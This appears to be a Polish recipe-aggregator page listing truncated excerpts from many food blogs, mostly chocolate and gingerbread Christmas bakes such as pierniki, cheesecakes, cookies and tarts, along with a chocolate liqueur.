korzenne, piernik na porterze. Piernik pieczony na piwie ma specyficzny smak, a ten dodatkowo polałam polewą z dodatkiem porteru. Ten piernik jest wilgotny, słodki i miękki jak puch. Z czekoladą…o tak, same sobre rzeczy w tym pierniku. Uwielbiam takie rozpływające się w ustach ciasto ! Jest to najlepszy piernik jaki kiedykolwiek jadłam. Polecam przepis! Piernik Składniki: forma o rozmiarach(...)pszennej mąki 25 g kakao szczypta zmielonych goździków ¾ łyżeczki cynamonu 1½ łyżeczki zmielonego imbiru 1½ łyżeczki sody 1 duże jajka 160 ml porteru szczypta soli 100 g czekolady, grubo pokrojonej Pomada 150 g cukru pudru 3 łyżki portera 20 łyżki masła ½ łyżeczki rozpuszczalnej kawy, proszek Nastaw piekarnik na 160ºC na termoobieg ()W małym rondelku rozpuść masło, cukier, syrop, melasę

codojedzenia
Piernik z czekośliwką i marcepanem 132

łyżki kakao 3 łyżeczki sody 200 ml śmietany przyprawa do piernika 250 g masła 400 g miodu Dodatkowo: powidła czekośliwka marcepan Polewa czekoladowa: 320 g masła 4 czekolady (gorzkie lub słodkie zależnie jak lubimy my z mamą dajemy na ogół 2 mleczne i 2 gorzkie0 Przygotowanie:   Miód z przyprawami zagotowujemy, zestawiamy z palnika i wkładamy pokrojone na kawałki masła(...)nakładamy piernik na warstwę marcepanu, na górze grubo smarujemy czekośliwką i nakładamy 3 piernikowy blat. Masło rozpuszczamy, gorące masło ściągamy z palnika i wrzucamy do niego połamaną czekoladę. Mieszamy aż do rozpuszczenia. Kiedy lekko przestygnie kładziemy pierniki na kratce i polewamy je z góry czekoladą. Taka płynna idealnie spływa po pierniku.       SMACZNEGO

Lili w kuchni
Korzenne gwiazdki z polewą czekoladową 164

polecam! Składniki: 100 g zimnego masła 50 g cukru pudru 125 g mąki pszennej mała szczypta soli 1 łyżeczka przyprawy do piernika 20 g mąki ziemniaczanej + 50 g mlecznej czekolady Wszystkie składniki przełożyć do miski, szybko posiekać nożem, wyrobić do połączenia. Uformować kulę, owinąć folią spożywczą i schłodzić w lodówce przez około 30 minut. Schłodzone ciasto rozwałkować na grubość około(...)podsypując mąką pszenną. Wykrawać gwiazdki. Układać je na blasze, wyłożonej papierem do pieczenia w niewielkiej odległości od siebie. Piec w temperaturze 180 stopni przez około 12-14 minut. Wystudzić. Czekoladę, z dodatkiem 1 łyżeczki masła, rozpuścić w kąpieli wodnej. Gwiazdki, do połowy, zanurzać w czekoladzie, odkładać na kratkę, by zastygły. Smacznego :) Zapraszam do obejrzenia filmiku - https://www.youtube.com/watch?v=ShqT4DMtPY4 Przepis dodaję

Domowa cukiernia Ewy
Serca z Bazylei i garść priorytetow 162

zabrać dzień przed pieczeniem. Przepis podpatrzyłam u Anny na blogu  Addio Pomidory . Ciasteczka są intensywnie czekoladowe, chrupiące i baaaardzo pyszne! Serca z Bazylei 100 g gorzkiej czekolady, połamanej 250 g mielonych migdałów 250 g cukru pudru 1 łyżeczka kakao 1/4 łyżeczki cynamonu szczypta mielonych goździków 2 białka szczypta soli 1 łyżka rumu cukier, do dekoracji białko, roztrzepane do posmarowania(...)pominęłam) Czekoladę roztapiamy w kąpieli wodnej. Mielone migdały prażymy na suchej patelni by się zarumieniły. Odstawiamy do wystudzenia. Do miski wsypujemy wystudzone migdały, cukier puder, kakao, przyprawy i mieszamy. Ubijamy mikserem białka ze szczyptą soli na sztywną pianę. Dodajemy do suchych składników i dokładnie mieszamy. Dolewamy rum i roztopioną czekoladę, mieszamy by się połączyły. Ciasto zawijamy w folię spożywczą

Dzieje kuchennej Wiewióry
Sernik z czekoladą i wiórkami na kruchym spodzie 198

pól łyżeczki  Składniki na górę: ser z wiaderka 6 żółtek 6 białek budyń waniliowy 3 x 40 g mleko 1 szklanka olej pół szklanki cukier 1 szklanka Dodatkowo: czekolada mleczna 200 g mleko 3 łyżki  Wykonanie ciasta kruchego: Do misy wsypujemy przesianą mąkę w raz z proszkiem do pieczenia. Dodajemy pokrojoną margarynę i wsypujemy cukier. Zagniatamy ciasto, formę(...)cukrem i dodajemy do masy serowej, mieszamy. Wykładamy na ciasto masę . Wstawiamy do pieca i pieczemy w 170 stopniach kolo 90 minut. Po upieczeniu i wystudzeniu polewamy rozpuszczoną czekoladą i posypujemy wiórkami kokosowymi. Polewa: Do rondelka wlewamy mleko, wkładamy czekoladę i rozpuszczamy

Różowa kuchnia
Kruche babeczki z musem czekoladowym 212

śnieżynkami cukrowymi staną się także dekoracją stołu. Ciasto kruche: 200 g zimnego masła 2 szklanki mąki pszennej 2/3 szklanki cukru pudru 1 jajko szczypta soli Mus czekoladowy: 150 g czekolady deserowej 250  g serka mascarpone 50 g śmietanki 30% 2-3 łyżki cukru pudru Dodatkowo:  dżem/galaretka porzeczkowa  Wykonanie:  Mąkę połączyć z cukrem pudrem oraz solą(...)upieczeniem wstawić foremki z ciastem na 10-15 minut do lodówki. Piec w temperaturze 180 stopni C do zrumienienia. Upieczone babeczki odstawić do ostygnięcia. Ostygnięte wyjąć delikatnie z foremek. Czekoladę rozpuścić w kąpieli wodnej. Ostudzić. Serek mascarpone utrzeć z cukrem pudrem, schłodzoną śmietankę ubić. Do serka mascarpone dodać ostudzoną czekoladę -  utrzeć. Na koniec dodać ubitą śmietankę i delikatnie wymieszać

kolorowotorcikowo
KRUCHE CIASTECZKA CZEKOLADOWE 137

prośbę czytelników bloga wstawiam ponownie przepis na ciasteczka czekoladowe w wersji świątecznej.  Składniki: 2 łyżki mąki pszennej 3 łyżki mąki ziemniaczanej 6 dag czekolady deserowej lub gorzkiej 90 g margaryny 6 łyżkek cukru pudru 2 żółtka 10 dag mielonych migdałów Przygotowanie: Czekoladę deserową połamać na kawałki, stopić w kąpieli wodnej, przestudzić. Mąkę migdałową wymieszać z mąką ziemniaczaną i pszenną(...)oraz cukrem.  Do produktów sypkich wlać przestudzoną rozpuszczoną czekoladę, wymieszać. Schłodzoną margarynę dzielimy na kawałki. Wysiekać ciasto do momentu powstania kruszonki. Zrobić kopczyk, w kopczyku dołeczek, wlać żółtko. Wymieszać nożem, po czym szybko zagnieść ciasto. W przypadku, gdy ciasto klei nam się do dłoni, można dodać trochę mąki pszennej. Na stolnicy oprószonej mąką rozwałkować ciasto o grubości około

Ciastka - domowe słodkości
Tarta gruszkowo-pomarańczowa 153

Obdarowana koszem soczystych gruszek, postanowiłam upiec chrupiącą Tartę gruszkowo-pomarańczową. Tarta składa się z ciasta kruchego, czekoladowej warstwy z gorzkiej czekolady dla przełamania smaku oraz pysznego nadzienia powstałego z gruszek ugotowanych w soku z pomarańczy z laską wanilii. Ugotowane gruszki miksuje się blenderem i przeciska przez sito, a następnie miksuje z jajami i śmietaną. Dla wzmocnienia aromatu dodaję odrobinę likieru(...)pomarańczowego: 6 średnio dojrzałych gruszek (dojrzałe, ale lekko twarde) – ok. 1,1-1,2 kg 350 ml świeżego soku pomarańczowego (ew. soku 100% z kartonu) 50 g gorzkiej czekolady 1/2 laski wanilii z ziarenkami skórka starta z pomarańczy (dobrze sparzonej i wyszorowanej) 1 łyżeczka likieru Cointrou (opcjonalnie) 4 duże jaja (rozm. L) 110 g cukru pudru 200 g śmietanki

Moja Delicja
Jak zostałam elfem w fabryce Świętego Mikołaja. I pierniczki na osłodę 177

każdym razie, od ponad miesiąca, piekarnika zamieniła się w małą fabrykę najróżniejszych świątecznych ciasteczek. Są tradycyjne duńskie pebernødder ,   brunkager  i vaniljekranser, krojone ciasteczka z lukrecją, nugatem oraz czekoladą, oblane czekoladą pierniczkowe serca i krajanka miodowa. Do tego klejner i berliner - te pierwsze wyglądają jak chrust, tyle, że z ciasta drożdżowego z domieszką korzennych przypraw; a berlinki(...)dużo, żeby wypełnił ciasteczka. Ja doszłam do wprawy po jakichś dziesięciu sztukach. Lukier kawowy jest pyszny i świetnie tutaj pasuje, ale oczywiście możecie polać pierniczki zwykłym, białym lukrem bądź czekoladą. Nie nadają się jednak do misternych dekoracji lukrem królewskim. Nam bardzo zasmakowały. Te z nadzieniem były już miękkie następnego dnia, ale w Danii jest dość wilgotny klimat. Jeśli chcecie się

Pożeraczka, czyli raz adobrze
Granola korzenno - kawowa z orzechami 146

Dzisiaj coś innego ;) Pomysł na świąteczne (i nie tylko) śniadanie. Pyszna, bardzo aromatyczna granola z dodatkiem korzennych przypraw, kawy, czekolady i orzechów włoskich. Najlepsza z jogurtem ;) Fajna jako drugie śniadanie do pracy czy szkoły - wystarczy spakować ją do lunchboxa, razem z jogurtem, by cieszyć się smakiem świąt już teraz :) Ja tak właśnie robię, szczególnie odkąd dotarła do mnie przesyłka(...)Już musiałam dzielić się drugim śniadaniem z koleżankami :P Czuć, dosłownie, atmosferę świąt ;) Polecam! Składniki: 2 szklanki płatków owsianych 1 łyżka brązowego cukru 1 łyżka oleju kokosowego 75 g czekolady deserowej 50 g orzechów włoskich 2 łyżeczki kawy rozpuszczalnej 100 ml gorącej wody 2 łyżki przyprawy do piernika Kawę zaparzyć z cukrem, odłożyć do przestudzenia. Czekoladę i orzechy posiekać, dodać

Domowa cukiernia Ewy
Piernik staropolski-dojrzewający- etap II 133

mąki  3 jajka  3 płaskie łyżeczki sody oczyszczonej ½ szkl.zimnego mleka  ½ łyżeczki soli 2 – 3 torebki przyprawy do piernika do przełożenia: powidła śliwkowe  masa marcepanowa, czekolada, masa orzechowa  polewa: czekolada albo lukier wg uznania Etap I 2 -5 tygodni przed świętami: Miód, cukier, przyprawy korzenne, smalec i masło podgrzać na wolnym ogniu, odstawić do wystygnięcia . Mąkę(...)pieczenia i równomiernie obciążyć. Zostawić na 2 – 3 dni w chłodnym miejscu (niekoniecznie w lodówce). Etap III 1 dzień przed świętami: Piernik przekroić w poprzek na 3 części.Oblać czekoladą i ozdobić wedle uznania. Odłożyć w chłodne miejsce. Piernik przechowywany w chłodnym miejscu zachowuje długo świeżość. Należy tylko dobrze owinąć w papier śniadaniowy i lnianą ściereczkę

Moje domowe kucharzenie
Ciasto czekoladowe bez jajek i masła 418

Potrzebne nam: - 3 szkanki mąki pszennej - 1,75 szklanki cukru - 6 kopiastych łyżek kakao - 1,5 łyżeczki sody oczyszczonej - szczypta soli - 2 łyżeczki octu jabłkowego *Polewa: - 50 g gorzkiej czekolady - 50 g czekolady z nadzieniem karmelowym (ja użyłam milki) - 25 g masła lub 2 łyżki mleka roślinnego * Krem: - 200 g serka mascarpone - 3 czubate łyżeczki konfitury malinowej - 50 g miękkiego(...)Wystudzone ciasto dzielimy na dwa blaty. Składniki na krem miksujemy na wysokich obrotach przez około 2-3 minuty. Gotowy wykładamy na blat z ciasta i przykrywamy drugim. Przygotowujemy polewę: czekoladę i masło rozpuszczamy w kąpieli wodnej i wykładamy na wierzch ciasta, wyrównujemy. Posypujemy cukrowymi ozdobami i wstawiamy do lodówki na 2-3 godziny.  Jeśli chcecie mieć jak najmniej zmywania

W poszukiwaniu inspiracji
Sernik - Malina 177

przepisu z użyciem malin. No i trafiłam w 10-tkę! Sernik - Malina, to wyśmienite połączenie delikatnego i mięciutkiego jak puch sernika z warstwą śmietanowo-malinową, i polewą z białej czekolady, która świetnie dopełnia całości. Spód: 200 g kruchych ciastek 2 łyżki masła Masa serowa: 500 g tłustego twarogu 500 g mascarpone skórka starta z 1 cytryny 3 łyżki skrobi ziemniaczanej(...)pełna łyżka stołowa) 400 g śmietanki 36% (zimnej), najlepiej gęstej, z kubka 100 g śmietanki 30% (zimnej) 6 łyżek cukru pudru Dekoracja: świeże maliny listki mięty 50 g białej czekolady 3 łyżki śmietanki kremówki 30% Przygotować formę o wymiarach 25x36 cm i wyłożyć ją papierem do pieczenia. Zaczynamy od spodu sernika. Ciastka dokładnie pokruszyć i wymieszać z roztopionym (lekko przestudzonym

Świat Ciasta
SERNIK Z BIAŁĄ CZEKOLADĄ I PORZECZKAMI 132

jasnego brązowego cukru 100 g zmielonych migdałów 1 jajko Masa: 1 kg twarogu sernikowego ( używam śmietankowego twarogu ) 3/4 szklanki cukru 1 torebka cukru wanilinowego 300 g białej czekolady 5 dużych jajek Przesiewamy mąkę, dodajemy drobno posiekane masło, cukier, migdały i jajko. Mieszamy składniki do otrzymania drobnej kruszonki, najlepiej posiekać wszystko nożem na stolnicy, następnie zagniatamy ciasto. Zwijamy kulkę, owijamy folią(...)stopni, termoobieg . Wstawiamy formę z ciastem i pieczemy przez około 30 minut na złoty kolor. Studzimy. Ser miksujemy z cukrem, cukrem wanilinowym i roztopioną w kąpieli wodnej, schłodzoną czekoladą. Białka ubijamy w oddzielnej misce. Żółtka dodajemy do masy serowej i miksujemy. Dopiero teraz dodajemy białka i delikatnie mieszamy łyżką, do połączenia się składników. Wykładamy masę na upieczony spód. Wstawiamy

KuchcikoweLove
Sernik piernikowy 192

wypiek. Z pewnością pokocha go cała Wasza rodzina i znajomi. Składniki (na formę o bokach 20cm x 20 cm): Piernikowy spód: 90 gram masła 70 gram gorzkiej czekolady 50 gram miodu 10 gram przyprawy do piernika 2 jajka 20 gram cukru 1 opakowanie cukru waniliowego 70 gram mąki pszennej 10 gram mąki ziemniaczanej 5 gram proszku do pieczenia Kruche ciasto(...)dekoracji Kruche ciasto Wszystkie składniki na kruche ciasto czekoladowe zagniatam szybko, owijam folią spożywczą i umieszczam w zamrażalniku na 40-50 minut. Piernikowy spód W garnku rozpuszczam masło, miód, czekoladę. Studzę. Jajka ubijam z cukrem pudrem i cukrem waniliowym na puszystą masę. Dodaję przesianą mąkę pszenną, ziemniaczaną, proszek do pieczenia i przyprawę do piernika. Następnie powstałą masę mieszam

Mango Papaja
Ciasteczka pomarańczowe 160

Miękkie, mocno pomarańczowe ciasteczka z dodatkiem białej czekolady. Świetne jako alternatywa świątecznych pierniczków, ale nie tylko. Pierwszy raz robiłam je latem, na szkolny festyn, jednak zniknęły tak szybko, że nie zdążyłam zrobić zdjęć ;) Pogoda nam wtedy nie dopisałam, jednak przezornie, już wcześniej zaopatrzyliśmy się w ogromne namioty z http://www.mastermarket.com.pl/namioty-imprezowe-dmuchane/ , z okolicznościowym nadrukiem, dzięki którym impreza odbyła się(...)przeszkód :) Mam nadzieję, że Waszych domach te ciasteczka będą takim hitem, jak podczas wspomnianego wcześniej festynu. Są przepyszne! :) Składniki: 100 g białej czekolady 75 g cukru 350 g mąki pszennej 75 g masła 1 łyżeczka proszku do pieczenia 1 jajko 1 duża pomarańcza Czekoladę zetrzeć na tarce o grubych oczkach lub posiekać na malutkie kawałki. Dodać cukier, mąkę i proszek

Domowa cukiernia Ewy
Waniliowe ciasteczka z Rudolfem 217

mąki pszennej 180 g zimn ego masła szczypta soli 180 g cukru pudru 1 duże jajko 1 żółtko 2 łyżeczki ekstraktu waniliowego   Dodatkowo: 50 g mlecznej czekolady rozpuszczonej w kąpieli wodnej czerwone groszki na noski, np. M&M'S 1 łyżka cukru pudru kilka kropel wody     Przygotowanie:   Ciasto: Składniki szybko, ale dokładnie wyrobić rękami(...)Wyjąć i ostudzić na kratce.    Łyżkę cukru pudru wymieszać z odrobiną wody, do powstania gęstego lukru. Czerwone groszki przyklejać do ciasteczek za pomocą lukru (noski Rudolfów). Rozpuszczoną czekoladę przełożyć do tutki z papieru do pieczenia lub do rękawa cukierniczego z cieniutką końcówką. Na ciastkach, tuż nad noskami, zrobić oczka. Nas oczkami rogi Rudolfa. Ciastka odstawić do zastygnięcia czekolady

Nastoletnie Wypiekanie
Sernik na pierniczkowym spodzie . 177

kruchy spód. Sernik wyszedł pyszny na pewno upiekę go jeszcze raz na święta . Jeśli macie ochotę to zapraszam bo jest bardzo prosty w przygotowaniu :) Składniki: 400 gr pierniczkówe w czekoladzie w kształcie gwiazdek 1600 g sera białego śmietankowego 1 cukier waniliowy 1,5 szklanki cukru 8 jajek 11o g margaryny  2 budynie waniliowe z cukrem  3 łyżki kandyzowanej(...)skórki pomarańczowej Polewa : 2 tabliczki białej czekolady  4 łyżki śmietanki 12 % Blaszka 25/30 cm Wykonanie : Blaszkę wykładamy papierem do pieczenia . Na spód układamy ściśle pierniki. Ser mielimy 3 krotnie , dodajemy do niego : żółtka , cukier , cukier waniliowy i ucieramy . Następnie dodajemy budynie , roztopioną margarynę i skórkę z pomarańczy , dobrze mieszamy. Białka ubijamy na sztywną pianę ze szczyptą soli . Dodajemy

Sama słodycz i szczypta chili
Delikatne serowe ciasteczka z kruchą słodyczą 184

razem ze mną cieszy się smakiem domowych wypieków. Delikatne serowe ciasteczka z kruchą słodyczą i towarzystwo najbliższych... takie dni uwielbiam! A gdy dodam do tego jeszcze filiżankę dobrej, gorącej czekolady, to uśmiech nie schodzi mi z twarzy do końca dnia. Zapraszam Was serdecznie na delikatne serowe ciasteczka z kruchą słodyczą . Takie małe wypieki nadadzą się doskonale również na świąteczny stół(...)mnie 82% tłuszczu) 1/3 łyżeczki mieszanki przypraw Deluxe jabłko i cynamon - do nabycia w Lidl 1 jajko klasy M gruby cukier do posypania ciasteczek propozycja podania: z gorącą czekoladą Deluxe "Hot Chocolate Madagascar" - do nabycia w Lidl * zamiast wskazanej przypraw można użyć np. cukru z wanilią itp. Przygotowanie: Do miski wsypujemy 200 g mąki pszennej. Następnie dodajemy twaróg, rozdrabniając

Słodkie okruszki
Domowa nutella 120

wymyśliliśmy równie łatwy i szybki przepis. Taką domową nutellę zrobicie szybciej niż mielibyście iść do sklepu. Spróbujcie, nie będziecie żałować.       100 g orzechów laskowych 80 g czekolady deserowej 30 g czekolady gorzkiej 1/4 szklanki mleka Orzechy prażymy przez kilka minut na patelni, następnie wkładamy je do ściereczki i turlając pozbywamy się z nich skórek. Po wystudzeniu mielimy(...)drobno w blenderze. Czekoladę kruszymy, wrzucamy do rondelka i zalewamy mlekiem. Podgrzewamy na wolnym ogniu do całkowitego rozpuszczenia. Dodajemy zmielone orzechy. Dokładnie mieszamy i przekładamy do słoiczka. Jak masa przestygnie zakręcamy i przechowujemy w lodówce. Smacznego

Marder&Marder Manufacture
Katarzynka - ciasto z pierniczkami i kremem 196

Dziś mam dla Was propozycję idealną na świąteczny stół. Delikatny biszkopt, malinowa galaretka,aromatyczne pierniczki pod kołderką z bitej śmietany, a to wszystko oblane czekoladą. Smakuje pysznie i pysznie wygląda. Wykonanie zajmuje dłuższą chwilę, ale nie powinno nikomu sprawić trudności. Biszkopt: 5 jaj 1 szklanka cukru 1 szklanka mąki 1/2 szklanki mąki ziemniaczanej 1 łyżeczka proszku do pieczenia Oddzielamy białka(...)litra śmietany 30 % 2 waniliowe serki homogenizowane 2 łyżeczki cukru pudru 4 łyżeczki żelatyny 1/3 szklanki mleka  Dodatkowo: dowolne pierniczki w ilości która pozwoli na pokrycie całej blaszki czekolada  Żelatynę zalewamy mlekiem, a gdy napęcznieje rozpuszczamy. Ubijamy śmietankę z cukrem pudrem, a gdy będzie już gęsta dodajemy do niej partiami serki i rozpuszczoną żelatynę. Składanie ciasta: Biszkopt rozkrawamy

Cynamonowe szczęście
Ciasto czekoladowe z colą 256

wymieszać. Blaszkę o wymiarach 23x38 cm wyłożyć papierem i wlać ciasto. Piec w piekarniku nagrzanym do 180 stopni C około 40-45 minut. Wyjąć i wystudzić. Polewa 100 g czekolady mlecznej 100 ml śmietany kremówki Dodatkowo posypka cukrowa W małym rondelku doprowadzić do wrzenia śmietanę, zdjąć z palnika i dodać pokruszoną w kostki czekoladę. Mieszać do całkowitego rozpuszczenia się czekolady

O kuchni z uczuciem
Kurczak w sosie mole poblano 144

Mole to określenie meksykańskich sosów na bazie passaty pomidorowej, ostrych papryczek i gorzkiej czekolady. W zależności od użytych składników i sposobu podania rozróżniamy kilka rodzai mole . Dziś skupimy się na mole poblano , sosie z dodatkiem orzechów, anyżu, cynamonu i wielu innych wspaniałych przypraw, których połączenie wynosi nas na nowy poziom smaku. Danie przygotowałam w ramach konkursu marki Wedel, choć muszę(...)orzeszków arachidowych solonych - 3 łyżki sezamu (+ trochę do posypania potrawy) - 4 łyżki migdałów bez skórek - 1 niepełna łyżeczka nasion kolendry - łyżka cukru - 1/2 łyżeczki soli morskiej - 100 g gorzkiej czekolady - 2 czubate łyżki kakao Przygotowanie:  W garnku podgrzać oliwę i podsmażyć na niej posiekaną cebulę, czosnek, papryczki pozbawione gniazd nasiennych i pokrojone w mniejsze kawałki, anyż, goździki, kolendrę

W poszukiwaniu inspiracji
Domowy likier czekoladowy. Chocolate liquor 1684

zeszłym roku na prezenty dla gości przygotowana była nalewka pomarańczowo-kawowa oraz cytrynowa rozmarynówka . Przepis na Domowy likier czekoladowy. Chocolate liquor: Składniki na 500 ml: 100 g gorzkiej czekolady (jak damy więcej będzie likier miał ciemniejszy kolor) 250 ml mleka skondensowanego słodzonego 250 ml wódki opcjonalnie przyprawę do piernika lub cynamon Przygotowanie: Czekoladę łamiemy na kawałki. Przekładamy do rondelka(...)cynamon i wymieszać. Odstawiamy mleko czekoladowe do przestudzenia. Do zimnego mleka czekoladowego dolewamy wódkę i mieszamy całość najlepiej trzepaczką. Likier rozlewamy do butelek. Przechowujemy zamknięty w lodówce. Zamiast gorzkiej czekolady możemy dodać 50-70 g kakao (rozpuszczonego wcześniej w 100 ml mleka 3,5%) a dla wzmocnienia likieru % wódkę zastąpić spirytusem (powiedzmy 150 ml spirytusu zamiast 250 ml wódki

Damsko-męskie spojrzenie na kuchnię
Makowiec bez mąki i tłuszczu (bezglutenowy) 1706

szklanka cukru 250 g mielonego maku pół szklanki posiekanych orzechów, migdałów 1 łyżka suszonej skórki pomarańczowej  1,5 łyżeczki przyprawy do piernika (polecam tą ) Ganasz czekoladowy: 100 g czekolady deserowej 100 ml śmietany kremówki Przygotowanie: Dno tortownicy wyłożyć papierem do pieczenia. Żółtka oddzielić od białek i utrzeć z cukrem. Następnie dodać mak, orzechy, skórkę pomarańczową, przyprawę do piernika(...)Ubić pianę z białek i delikatnie wmieszać do masy makowej. Ciasto przełożyć do przygotowanej tortownicy. Piec w piekarniku nagrzanym do 175 ° C przez ok. 45-50 min. Ganasz czekoladowy: Czekoladę połamać i wrzucić do metalowej miseczki, zalać śmietaną. W kąpieli wodnej podgrzać czekoladę i śmietanę, mieszając od czasu do czasu, aż wszystko się rozpuści i powstanie gładka masa. Gotową masą

Domowa Cookierenka Agi
Babka marmurkowa 330

cukru 1 łyżka  cukru waniliowego 200 g masła 4 jajka 2 łyżeczki proszku do pieczenia 2 łyżki kakao 1/2 szklanki i 3 łyżki mleka polewa 100 g gorzkiej czekolady 72% 30 g masła Wykonanie: Mąkę przesiać razem z proszkiem do pieczenia. Miękkie masło utrzeć razem z cukrem, cukrem waniliowym na puszystą, jasną masę. Następnie nie przerywając miksowania dodajemy(...)mąką pszenną. Ciasto wykładamy do formy na zmianę raz jasną raz ciemną. Pieczemy w temperaturze 160° przez około 60 minut, do suchego patyczka. Masło roztopić w garnuszku, dodać połamaną czekoladę, podgrzać. Wymieszać by połączyły się składniki. Gotową czekoladą polewamy ciasto. Keksówka 28x10

magiczna kuchnia Kasi
,,Topniejące bałwanki migdałowe” 113

cukru pudru 60 g masła 100 g miodu 3 łyżki przyprawy do piernika pół łyżeczki sody oczyszczonej 1 małe jajko Dekoracja: lukier królewski 2 białka 2 szklanki cukru pudru czekolada mleczna roztopiona w kąpieli wodnej pomarańczowy i czerwony cukrowy pisak pianki Marshmallow Dodatkowo do wykonania użyłam: miskę do rozpuszczania produktów w kąpieli wodnej marki Zenker radełko wykrawacz do pierogów(...)Wyjmujemy z piekarnika i ostudzamy. Robimy lukier królewski. Białko mieszamy z cukrem pudrem.Za pomocą łyżeczki wylewamy lukier na ciastko, mocujemy piankę. Gdy lukier zaschnie zdobimy bałwanki według własnego uznania. Czekoladę rozpuszczamy w kąpieli wodnej i za pomocą patyczka do szaszłyka rysujemy oczy i uśmiechy na piankach marshmallow, noski rysujemy z użyciem pomarańczowego pisaka a kokardki i szaliki czerwonym pisakiem

Podróż w kulinaria
#5. Francuskie grzyby atomowe 115

piekarnika, patrzę, a tu wyrastają takie małe grzybki ;). Z błyskawiczną masą czekoladową wyszły przepyszne ;). Błyskawiczne francuskie ciasteczka z maślaną masą czekoladową Składniki:  Opakowanie ciasta francuskiego 100 g gorzkiej czekolady 2 duże łyżki miękkiego masła 1 łyżka cukru pudru Przygotowanie: Ciasto francuskie (jeżeli w grubych płatach - zlepiamy smarując kolejne wodą; jeżeli wałkowane - składamy kilkukrotnie, smarując wodą warstwy, do grubości(...)wycinamy małym kieliszkiem okrągłe ciastka, rozkładamy na blasze, smarujemy wodą i posypujemy cukrem. Pieczemy ok. 20 min. w 180 stopniach. W tym czasie robimy masę - czekoladę z łyżką wody lub mleka roztapiamy w kąpieli wodnej, zdejmujemy z ognia. Po przestudzeniu, do lekko ciepłej czekolady dodajemy cukier i masło, dokładnie mieszamy, zostawiamy do ostygnięcia do temp. pokojowej, potem wkładamy

Kuchnia w szuwarach
#19 Ciasto czekoladowo-bananowe 127

się stanie jak mleko zastąpimy nektarem bananowym? Właśnie to: Czekoladowo-bananowe ciasto Składniki Było tak dobre, że zapomniałam zrobić zdjęcie, aż został tylko taki kawałek... 2 tabliczki czekolady deserowej (u mnie deserowa+mleczna) 3/4 kostki margaryny 2 szklanki mąki 1 łyżeczka proszku do pieczenia 1 łyżeczka sody oczyszczonej 1/2 szklanki cukru 3 jajka 3/4 szklanki nektaru bananowego 2 banany Przygotowanie(...)Zaczynamy od roztopienia czekolady z margaryną w kąpieli wodnej, odstawiamy do ostudzenia. Mąkę, proszek, sodę i cukier dokładnie mieszamy, dodajemy jajka i nektar, mieszamy. Do masy dodajemy roztopioną margarynę z czekoladą, dokładnie miksujemy. Banany kroimy w kostkę, dodajemy do masy, mieszamy. Gotowe ciasto wlać do keksówki wyłożonej papierem, Piec ok. 50-60 minut w 180*. Polecam z cytrynowym lukrem: kilka

Kuchnia w szuwarach
#28 Błyskawiczne owsiane ciasteczka - bez glutenu, jajek i mleka (z czekoladą) 125

banan 1 łyżka miodu 1 łyżeczka cynamonu/przyprawy korzennej 1/4 szklanki mąki bezglutenowej (u mnie gryczana) - nie koniecznie 1/4 szklanki wody 1 szklanka płatków owsianych 2 łyżki drobno startej gorzkiej czekolady lub drobnych czekoladowych groszków (opcjonalnie) Najpierw blenderem miksuję banana z miodem i przyprawami, dodaję wodę, płatki owsiane i mąkę, wszystko razem blenduję do wymieszania się składników. Powinna powstać gęsta, ciężka(...)dająca się formować rękami masa. W razie potrzeby - dosypuję płatków lub mąki albo dolewam wody. Na końcu dodaję czekoladę i krótko miksuję. Przygotowanie Następnie należy uformować z masy kulki i rozpłaszczać je na blasze. Ja w swoje powciskałam dodatkowo kolorowe czekoladowe draże (zamiast nich można użyć czekoladowych groszków). Ciastka pieką się ok. 15 min w 180*C. Wpis walczy

Kuchnia w szuwarach
Tarta z musem czekoladowym 237

się przy wyjmowaniu z normalnej formy. Spód: 3/4 szklanki cukru pudru 220 g miękkiego masła 2 szklanki mąki pszennej szczypta soli Mus czekoladowy: 150 g masła 100 g mlecznej czekolady 50 g gorzkiej czekolady 4 jajka 3 łyżeczki kakao 120 g cukru 2 łyżeczki żelatyny + 3 łyżki wody Dodatkowo: garść orzechów włoskich Masło (w temperaturze pokojowej) zmiksować na jasną masę(...)wyjmowanym dnem). Piec ok. 20 minut w temperaturze 180°C. Wyjąć z piekarnika i ostudzić. W czasie kiedy ciasto się chłodzi, przygotować mus czekoladowy. Masło rozpuścić w garnku z czekoladą (mleczną i gorzką). Odstawić do przestudzenia. Oddzielić żółtka od białek. Białka ubić na sztywną pianę. Pod koniec miksowania dodać cukier. Odstawić do lodówki. Żelatynę rozpuścić w 3 łyżkach gorącej wody

Bullio
Tanie, Łatwe Deserki, czyli Domowa Galaretka z Owocami, Mleczny Korzenny i Czekoladowy Mleczny 116

dopiero wybrać się na zakupy, ale to potem, z którego zrobiło się jutro. Brak kilku produktów nie powstrzymał mnie przed przygotowaniem czegoś słodkiego. Przy okazji wykorzystałam ganache z mlecznej czekolady, które pozostało mi po przygotowaniu kaszy jaglanej na mleku kokosowym . W sumie to i dobrze, bo przy okazji pokażę Wam, że aby przygotować deser wystarczą proste i tanie produkty, które(...)innym razem. Składniki na troszkę więcej niż 6 szt o pojemności po 80 ml każdy: Deserki czekoladowe: 200 ml mleka 1,5 łyżeczki żelatyny 2 łyżki ganache z mlecznej czekolady Do małej miseczki odlałam kilka łyżek zimnego mleka i namoczyłam w nim żelatynę. Do rondelka wlałam pozostałe mleko i włożyłam ganache, doprowadziłam do wrzenia, od czasu do czasu mieszając

Blondynka Gotuje
Czekoladowy tort z malinami 175

łyżeczki kawy rozpuszczalnej 330 ml śmietany 30 % (u mnie z Biedronki) 1 łyżka kakao 1 łyżka żelatyny rozpuszczona w 1/4 szklanki wrzątku 2 łyżki cukru pudru 50 gr gorzkiej czekolady posiekanej na drobną kostkę 400 gr malin'; document.write(" "); Składniki na tort o średnicy 20 cm: Składniki na formę o średnicy 20 cm (4 blaty czekoladowe) : 2 szklanki mąki pszennej tortowej(...)Składniki na krem: 330 ml śmietany 30 % (u mnie z Biedronki) 1 łyżka kakao 1 łyżka żelatyny rozpuszczona w 1/4 szklanki wrzątku 2 łyżki cukru pudru 50 gr gorzkiej czekolady posiekanej na drobną kostkę 400 gr malin Śmietanę ubić, pod koniec ubijania dodać cukier. Do rozpuszczonej żelatyny dodać 2 łyżki ubitej śmietany, wymieszać żeby nie było grudek, wmiksować

moj przepis na
Popękane ciasteczka z gorzką czekoladą 147

